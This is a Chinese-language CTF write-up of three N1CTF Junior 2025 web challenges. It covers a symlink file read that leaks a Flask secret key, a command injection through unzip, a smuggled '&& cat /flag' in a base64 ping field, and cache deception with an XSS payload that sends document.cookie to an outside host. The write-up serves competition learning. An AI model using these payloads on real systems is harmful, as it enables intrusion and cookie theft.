N1CTF Junior 2025 2/2 Writeup

打了 N1CTF Junior 2025 2/2 Writeup 主要看的是Web(别的也不会啊)

抢了个一血,虽然是简单题

抢完就出去玩了,回来发现还有一个多小时就又做了两题

online_unzipper

经典symlink透数据 /proc/self/cmdline 发现是/usr/local/bin/python3.11 /usr/local/bin/flask run

/proc/self/environ拿到环境变量

1
2
3
4
5
6
7
...
FLASK_APP=app.py
...
FLASK_RUN_HOST=0.0.0.0
...
FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!
...

/proc/self/cwd/app.py拿到app.py

找到RCE点位:

1
2
try:
os.system(f"unzip -o {zip_path} -d {target_dir}")

zip_path可控

1
2
3
4
5
6
7
8
9
10
11

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

role==admin,这个好办,secret_key都有了直接flask-session-cookie-manager即可

因为前面有个os.makedirs,直接上shell怕出问题,所以bash -c "$(echo "..." | base64 -d)"了一下

flag{985b2461-ddc2-4db9-99bb-9248586a28e4}

ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /ping HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Length: 32
Content-Type: application/json
Host: 60.205.163.215:53720
Origin: http://60.205.163.215:53720
Proxy-Connection: keep-alive
Referer: http://60.205.163.215:53720/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0

{
"ip_base64":"MTI3LjAuMC4xMQ==JiYgbHMgLyAmJiBjYXQgL2ZsYWc="
}

base64.b64decode遇到=会截断,base64 -d不会

flag忘了。

Unfinished

1
2
3
4
5
6
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}

一眼顶真鉴定为 https://book.hacktricks.wiki/en/pentesting-web/cache-deception/index.html

看了一下只有/api/bio/<username>能利用上这个

但是啊

1
2
3
4
5
6
7
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")

咋办捏

来点逆天小巧思:

1
2
3
location /api/bio/ {
return 403;
}

第一眼真没看出这个有什么不对:crew: 总之就是ban了但是如ban

然后这个API返回的mine是text/html

那还等啥,直接<script>fetch("https://dev.5dbwat4.top/a"+encodeURIComponent(document.cookie))</script>

拿到回显:

1
HTTP  2025/9/14 22:00:51 ::1 GET /aflag%3Dflag%7ByOU_F1n15HeD_Th3_unFInisH3D_cHalLen93_qpF11%7D

问卷